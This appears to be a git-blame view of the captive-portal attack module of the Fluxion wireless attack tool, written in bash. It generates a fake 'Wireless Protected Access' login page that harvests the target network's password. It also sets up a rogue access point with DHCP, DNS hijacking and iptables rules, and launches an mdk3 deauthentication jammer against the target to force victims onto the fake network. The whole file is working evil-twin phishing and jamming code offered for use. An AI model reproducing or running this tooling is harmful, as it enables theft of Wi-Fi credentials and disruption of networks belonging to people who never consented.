<title>Wireless Protected Access: Key Mismatch</title>
|
|
|
|
|
|
|
|
<!-- Styles -->
|
|
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
|
|
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
|
|
|
|
|
|
|
|
<!-- Scripts -->
|
|
|
|
<script src=\"js/jquery-1.11.1.min.js\"></script>
|
|
|
|
<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
|
|
|
|
<script src=\"js/jquery.validate.min.js\"></script>
|
|
|
|
<script src=\"js/additional-methods.min.js\"></script>
|
|
|
|
</head>
|
|
|
|
<body>
|
|
|
|
<!-- Error page -->
|
|
|
|
<div data-role=\"page\" data-theme=\"a\">
|
|
|
|
<div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\">
|
|
|
|
<h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3>
|
|
|
|
<a href=\"index.html\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.html'\">$DIALOG_WEB_BACK</a>
|
|
|
|
</div>
|
|
|
|
</div>
|
|
|
|
</body>
|
2017-12-31 09:02:12 -07:00
|
|
|
</html>" >"$FLUXIONWorkspacePath/captive_portal/error.html"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo "\
|
2017-08-08 12:48:00 -06:00
|
|
|
<!DOCTYPE html>
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<meta charset=\"UTF-8\">
|
|
|
|
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
|
|
|
|
|
|
|
|
<title>Wireless Protected Access: Login</title>
|
|
|
|
|
|
|
|
<!-- Styles -->
|
|
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
|
|
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
|
|
|
|
|
|
|
|
<!-- Scripts -->
|
|
|
|
<script src=\"js/jquery-1.11.1.min.js\"></script>
|
|
|
|
<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
|
|
|
|
<script src=\"js/jquery.validate.min.js\"></script>
|
|
|
|
<script src=\"js/additional-methods.min.js\"></script>
|
|
|
|
</head>
|
|
|
|
<body>
|
|
|
|
<!-- Main page -->
|
|
|
|
<div data-role=\"page\" data-theme=\"a\">
|
|
|
|
<div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\">
|
|
|
|
<fieldset>
|
|
|
|
<form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\">
|
|
|
|
</br>
|
|
|
|
<div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\">
|
2018-01-17 14:29:05 -07:00
|
|
|
<div><u>$FluxionTargetSSID</u> ($FluxionTargetMAC)</div>
|
|
|
|
<!--<div>Channel: $FluxionTargetChannel</div>-->
|
2017-08-08 12:48:00 -06:00
|
|
|
</div>
|
|
|
|
<div style=\"text-align:center;\">
|
|
|
|
<br>
|
|
|
|
<label>$DIALOG_WEB_INFO</label>
|
|
|
|
<br>
|
|
|
|
</div>
|
|
|
|
<div class=\"ui-field-contain\">
|
|
|
|
<label for=\"key1\">$DIALOG_WEB_INPUT</label>
|
|
|
|
<input id=\"key1\" style=\"color:#333; background-color:#CCC\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/>
|
|
|
|
</div>
|
|
|
|
<input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/>
|
|
|
|
</form>
|
|
|
|
</fieldset>
|
|
|
|
</div>
|
|
|
|
</div>
|
|
|
|
|
|
|
|
<script src=\"js/main.js\"></script>
|
|
|
|
|
|
|
|
<script>
|
|
|
|
$.extend( $.validator.messages, {
|
|
|
|
required: \"$DIALOG_WEB_ERROR_MSG\",
|
|
|
|
maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ),
|
|
|
|
minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )
|
|
|
|
});
|
|
|
|
</script>
|
|
|
|
</body>
|
2017-12-31 09:02:12 -07:00
|
|
|
</html>" >"$FLUXIONWorkspacePath/captive_portal/index.html"
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_unset_routes() {
|
2018-02-01 08:22:40 -07:00
|
|
|
if [ -f "$FLUXIONIPTablesBackup" ]; then
|
|
|
|
iptables-restore <"$FLUXIONIPTablesBackup" \
|
2018-01-17 14:29:05 -07:00
|
|
|
&> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
else
|
|
|
|
iptables --flush
|
|
|
|
iptables --table nat --flush
|
|
|
|
iptables --delete-chain
|
|
|
|
iptables --table nat --delete-chain
|
|
|
|
fi
|
|
|
|
|
|
|
|
# Restore system's original forwarding state
|
|
|
|
if [ -f "$FLUXIONWorkspacePath/ip_forward" ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
sysctl -w net.ipv4.ip_forward=$(
|
|
|
|
cat "$FLUXIONWorkspacePath/ip_forward"
|
|
|
|
) &> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/ip_forward"
|
|
|
|
fi
|
|
|
|
|
2018-01-18 00:17:26 -07:00
|
|
|
ip addr del $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface 2>/dev/null
|
2017-08-11 02:29:47 -06:00
|
|
|
}
|
|
|
|
|
2018-04-05 02:56:56 -06:00
|
|
|
# Set up DHCP / WEB server / DNS Firewall
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_set_routes() {
|
2017-12-31 09:02:12 -07:00
|
|
|
# Give an address to the gateway interface in the rogue network.
|
|
|
|
# This makes the interface accessible from the rogue network.
|
2018-01-18 00:17:26 -07:00
|
|
|
ip addr add $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Save the system's routing state to restore later.
|
|
|
|
cp "/proc/sys/net/ipv4/ip_forward" "$FLUXIONWorkspacePath/ip_forward"
|
2017-08-11 02:29:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Activate system IPV4 packet routing/forwarding.
|
|
|
|
sysctl -w net.ipv4.ip_forward=1 &>$FLUXIONOutputDevice
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
iptables --flush
|
|
|
|
iptables --table nat --flush
|
|
|
|
iptables --delete-chain
|
|
|
|
iptables --table nat --delete-chain
|
2018-04-05 02:56:56 -06:00
|
|
|
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
|
2018-04-05 03:02:23 -06:00
|
|
|
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
|
2018-04-05 02:56:56 -06:00
|
|
|
iptables -A INPUT -p udp --dport 53 -j ACCEPT
|
2018-04-05 03:02:23 -06:00
|
|
|
iptables -A INPUT -p udp --dport 67 -j ACCEPT
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_stop_interface() {
|
2017-12-31 09:02:12 -07:00
|
|
|
captive_portal_unset_routes
|
2017-08-30 15:41:09 -06:00
|
|
|
|
2018-01-18 00:17:26 -07:00
|
|
|
if [ "$CaptivePortalAPService" ]; then
|
|
|
|
ap_service_stop
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
2017-08-30 15:41:09 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_start_interface() {
|
2018-01-18 00:17:26 -07:00
|
|
|
if [ "$CaptivePortalAPService" ]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStaringAPServiceNotice"
|
2018-01-18 00:17:26 -07:00
|
|
|
ap_service_start
|
2017-12-31 09:02:12 -07:00
|
|
|
else
|
|
|
|
fluxion_header
|
2017-09-02 18:47:03 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine Configuration for external access point device:"
|
|
|
|
echo
|
2017-09-02 18:47:03 -06:00
|
|
|
|
2018-01-18 00:17:26 -07:00
|
|
|
fluxion_target_show
|
2017-09-02 18:47:03 -06:00
|
|
|
|
2018-01-18 00:17:26 -07:00
|
|
|
echo -e "$FLUXIONVLine IPv4 Address: ${CaptivePortalGatewayAddress%.*}.2/24"
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine IPv6 Address: Disabled"
|
2018-01-18 00:17:26 -07:00
|
|
|
echo -e "$FLUXIONVLine DHCP Server: $CaptivePortalGatewayAddress"
|
|
|
|
echo -e "$FLUXIONVLine DNS Server: $CaptivePortalGatewayAddress"
|
2017-12-31 09:02:12 -07:00
|
|
|
echo
|
2017-09-02 18:47:03 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine ${CYel}Assure external AP device is available & configured before continuing!${CClr}"
|
|
|
|
read -n1 -p "Press any key to continue... " bullshit
|
|
|
|
fi
|
2017-08-30 15:41:09 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStaringAPRoutesNotice"
|
|
|
|
captive_portal_set_routes &
|
|
|
|
sleep 3
|
2017-08-30 15:41:09 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice
|
|
|
|
fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
# ============================================================ #
|
|
|
|
# =================== < Parse Parameters > =================== #
|
|
|
|
# ============================================================ #
|
|
|
|
if [ ! "$CaptivePortalCLIArguments" ]; then
|
|
|
|
if ! CaptivePortalCLIArguments=$(
|
|
|
|
getopt --options="a:j:s:c:u:h:" \
|
|
|
|
--longoptions="ap:,jammer:,ssl:,connectivity:,ui:,hash:" \
|
|
|
|
--name="Captive Portal V$FLUXIONVersion.$FLUXIONRevision" -- "$@"
|
|
|
|
); then
|
|
|
|
echo -e "${CRed}Aborted$CClr, parameter error detected..."
|
|
|
|
sleep 5
|
|
|
|
fluxion_handle_exit
|
|
|
|
fi
|
|
|
|
|
|
|
|
declare -r CaptivePortalCLIArguments=$CaptivePortalCLIArguments
|
|
|
|
|
|
|
|
eval set -- "$CaptivePortalCLIArguments" # Set environment parameters.
|
|
|
|
fi
|
|
|
|
|
|
|
|
|
|
|
|
# ============================================================ #
|
|
|
|
# ============= < Argument Loaded Configurables > ============ #
|
|
|
|
# ============================================================ #
|
|
|
|
while [ "$1" != "" -a "$1" != "--" ]; do
|
|
|
|
case "$1" in
|
|
|
|
-a|--ap)
|
2018-04-28 03:57:34 -06:00
|
|
|
CaptivePortalAccessPointInterfaceOriginal=$2; shift;;
|
2018-01-17 14:29:05 -07:00
|
|
|
-j|--jammer)
|
2018-04-28 03:57:34 -06:00
|
|
|
CaptivePortalJammerInterfaceOriginal=$2; shift;;
|
2018-01-17 14:29:05 -07:00
|
|
|
-s|--ssl)
|
|
|
|
CaptivePortalSSLCertificatePath=$2; shift;;
|
|
|
|
-c|--connectivity)
|
|
|
|
CaptivePortalConnectivity=$2; shift;;
|
|
|
|
-u|--ui)
|
|
|
|
CaptivePortalUserInterface=$2; shift;;
|
|
|
|
-h|--hash)
|
|
|
|
# Assuming hash auth-mode here (the only one available as of now).
|
|
|
|
# WARNING: If more auth-modes are added, assume hash auth-mode here!
|
|
|
|
CaptivePortalHashPath=$2; shift;;
|
|
|
|
esac
|
|
|
|
shift # Shift new parameters
|
|
|
|
done
|
|
|
|
|
|
|
|
|
|
|
|
# ============================================================ #
|
|
|
|
# ===================== < Fluxion Hooks > ==================== #
|
|
|
|
# ============================================================ #
|
|
|
|
attack_targetting_interfaces() {
|
|
|
|
interface_list_wireless
|
|
|
|
local interface
|
|
|
|
for interface in "${InterfaceListWireless[@]}"; do
|
|
|
|
echo "$interface"
|
|
|
|
done
|
2017-08-30 15:41:09 -06:00
|
|
|
}
|
|
|
|
|
2018-01-20 15:06:45 -07:00
|
|
|
attack_tracking_interfaces() {
|
|
|
|
interface_list_wireless
|
|
|
|
local interface
|
|
|
|
for interface in "${InterfaceListWireless[@]}"; do
|
|
|
|
echo "$interface"
|
|
|
|
done
|
|
|
|
echo "" # This enables the Skip option.
|
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
unprep_attack() {
|
2017-12-31 09:02:12 -07:00
|
|
|
CaptivePortalState="Not Ready"
|
2018-01-17 14:29:05 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
captive_portal_unset_attack
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_unset_user_interface
|
|
|
|
captive_portal_unset_connectivity
|
|
|
|
captive_portal_unset_certificate
|
|
|
|
captive_portal_unset_authenticator
|
|
|
|
captive_portal_unset_ap_interface
|
|
|
|
captive_portal_unset_jammer_interface
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
prep_attack() {
|
|
|
|
local sequence=(
|
|
|
|
"set_jammer_interface"
|
|
|
|
"set_ap_interface"
|
2018-01-18 00:17:26 -07:00
|
|
|
"set_ap_service"
|
2018-01-17 14:29:05 -07:00
|
|
|
"set_authenticator"
|
|
|
|
"set_certificate"
|
|
|
|
"set_connectivity"
|
|
|
|
"set_user_interface"
|
|
|
|
"set_attack"
|
|
|
|
)
|
|
|
|
|
|
|
|
if ! fluxion_do_sequence captive_portal sequence[@]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
return 1
|
|
|
|
fi
|
2018-01-17 14:29:05 -07:00
|
|
|
|
|
|
|
CaptivePortalState="Ready"
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-04-22 23:19:14 -06:00
|
|
|
load_attack() {
|
|
|
|
local -r configurationPath=$1
|
|
|
|
|
|
|
|
local configuration
|
|
|
|
readarray -t configuration < <(more "$configurationPath")
|
|
|
|
|
|
|
|
CaptivePortalJammerInterfaceOriginal=${configuration[0]}
|
|
|
|
CaptivePortalAccessPointInterfaceOriginal=${configuration[1]}
|
|
|
|
CaptivePortalAPService=${configuration[2]}
|
|
|
|
CaptivePortalAuthenticatorMode=${configuration[3]}
|
|
|
|
CaptivePortalSSL=${configuration[4]}
|
|
|
|
CaptivePortalConnectivity=${configuration[5]}
|
|
|
|
CaptivePortalUserInterface=${configuration[6]}
|
|
|
|
|
|
|
|
# Hash authenticator mode configuration.
|
|
|
|
CaptivePortalHashPath=${configuration[7]}
|
2018-04-28 21:34:00 -06:00
|
|
|
|
|
|
|
# Target hash information for verification.
|
|
|
|
local -r targetHashSSID=${configuration[8]}
|
|
|
|
local -r targetHashMAC=${configuration[9]}
|
|
|
|
|
|
|
|
# Assure hash is relevant for fluxion's current target.
|
|
|
|
# If the hash is no longer relevant, clear to force reset.
|
|
|
|
if [ \
|
|
|
|
"$targetHashSSID" != "$FluxionTargetSSID" -o \
|
|
|
|
"$targetHashMAC" != "$FluxionTargetMAC" ]; then
|
|
|
|
CaptivePortalHashPath=""
|
|
|
|
fi
|
2018-04-22 23:19:14 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
save_attack() {
|
|
|
|
local -r configurationPath=$1
|
|
|
|
|
|
|
|
# Store/overwrite attack configuration for pause & resume.
|
|
|
|
# Order: JammerWI, APWI, APServ, AuthMode, SSL, Conn, UI
|
|
|
|
echo "$CaptivePortalJammerInterfaceOriginal" > "$configurationPath"
|
|
|
|
echo "$CaptivePortalAccessPointInterfaceOriginal" >> "$configurationPath"
|
|
|
|
echo "$CaptivePortalAPService" >> "$configurationPath"
|
|
|
|
echo "$CaptivePortalAuthenticatorMode" >> "$configurationPath"
|
|
|
|
echo "$CaptivePortalSSL" >> "$configurationPath"
|
|
|
|
echo "$CaptivePortalConnectivity" >> "$configurationPath"
|
|
|
|
echo "$CaptivePortalUserInterface" >> "$configurationPath"
|
|
|
|
|
|
|
|
# Hash authenticator mode configuration.
|
|
|
|
echo "$CaptivePortalHashPath" >> "$configurationPath"
|
2018-04-28 21:34:00 -06:00
|
|
|
|
|
|
|
# Target to verify validity of hash on restore.
|
|
|
|
echo "$FluxionTargetSSID" >> "$configurationPath"
|
|
|
|
echo "$FluxionTargetMAC" >> "$configurationPath"
|
2018-04-22 23:19:14 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
stop_attack() {
|
2017-12-31 09:02:12 -07:00
|
|
|
# Attempt to find PIDs of any running authenticators.
|
|
|
|
local authenticatorPID=$(ps a | grep -vE "xterm|grep" | grep captive_portal_authenticator.sh | awk '{print $1}')
|
|
|
|
|
|
|
|
# Signal any authenticator to stop authentication loop.
|
|
|
|
if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi
|
|
|
|
|
|
|
|
if [ "$CaptivePortalJammerServiceXtermPID" ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
kill $(pgrep -P $CaptivePortalJammerServiceXtermPID \
|
|
|
|
2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
CaptivePortalJammerServiceXtermPID="" # Clear parent PID
|
|
|
|
fi
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
|
|
|
|
|
|
|
|
# Kill captive portal web server log viewer.
|
|
|
|
if [ "$CaptivePortalWebServiceXtermPID" ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
kill $CaptivePortalWebServiceXtermPID &> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
CaptivePortalWebServiceXtermPID="" # Clear service PID
|
|
|
|
fi
|
|
|
|
|
|
|
|
# Kill captive portal web server.
|
|
|
|
if [ "$CaptivePortalWebServicePID" ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
kill $CaptivePortalWebServicePID &> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
CaptivePortalWebServicePID="" # Clear service PID
|
|
|
|
fi
|
|
|
|
|
|
|
|
# Kill python DNS service if one is found.
|
|
|
|
if [ "$CaptivePortalDNSServiceXtermPID" ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
kill $(pgrep -P $CaptivePortalDNSServiceXtermPID \
|
|
|
|
2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
CaptivePortalDNSServiceXtermPID="" # Clear parent PID
|
|
|
|
fi
|
|
|
|
|
|
|
|
# Kill DHCP service.
|
|
|
|
if [ "$CaptivePortalDHCPServiceXtermPID" ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID \
|
|
|
|
2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
CaptivePortalDHCPServiceXtermPID="" # Clear parent PID
|
|
|
|
fi
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt"
|
|
|
|
|
|
|
|
captive_portal_stop_interface
|
|
|
|
|
2018-03-14 14:17:41 -06:00
|
|
|
# Start the network-manager if it's disabled.
|
|
|
|
if ! systemctl status network-manager.service &> /dev/null; then
|
|
|
|
systemctl start network-manager.service
|
|
|
|
fi
|
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
CaptivePortalState="Stopped"
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
start_attack() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$CaptivePortalState" = "Running" ]; then return 0; fi
|
|
|
|
if [ "$CaptivePortalState" != "Ready" ]; then return 1; fi
|
|
|
|
CaptivePortalState="Running"
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
stop_attack
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-03-14 14:17:41 -06:00
|
|
|
# Disable the network-manager if it's available.
|
|
|
|
if systemctl status network-manager.service &> /dev/null; then
|
|
|
|
systemctl stop network-manager.service
|
|
|
|
fi
|
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
captive_portal_start_interface
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice"
|
2018-01-17 14:29:05 -07:00
|
|
|
xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" \
|
|
|
|
-title "FLUXION AP DHCP Service" -e \
|
2018-01-18 00:17:26 -07:00
|
|
|
"dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $CaptivePortalAccessInterface 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" &
|
2018-01-17 14:29:05 -07:00
|
|
|
# Save parent's pid, to get to child later.
|
|
|
|
CaptivePortalDHCPServiceXtermPID=$!
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice"
|
2018-01-17 14:29:05 -07:00
|
|
|
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" \
|
|
|
|
-title "FLUXION AP DNS Service" -e \
|
|
|
|
"if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" &
|
|
|
|
# Save parent's pid, to get to child later.
|
|
|
|
CaptivePortalDNSServiceXtermPID=$!
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice"
|
2018-01-17 14:29:05 -07:00
|
|
|
lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" \
|
|
|
|
&> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
CaptivePortalWebServicePID=$!
|
2017-12-06 00:54:49 -07:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" \
|
|
|
|
-title "FLUXION Web Service" -e \
|
|
|
|
"tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" &
|
2017-12-31 09:02:12 -07:00
|
|
|
CaptivePortalWebServiceXtermPID=$!
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
|
2018-01-17 14:29:05 -07:00
|
|
|
echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst"
|
|
|
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
|
|
|
|
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
|
2018-01-18 00:17:26 -07:00
|
|
|
"mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
|
2018-01-17 14:29:05 -07:00
|
|
|
# Save parent's pid, to get to child later.
|
|
|
|
CaptivePortalJammerServiceXtermPID=$!
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
|
2018-01-17 14:29:05 -07:00
|
|
|
xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" \
|
|
|
|
-title "FLUXION AP Authenticator" \
|
|
|
|
-e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
|
2017-12-14 06:07:43 -07:00
|
|
|
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
# FLUXSCRIPT END
|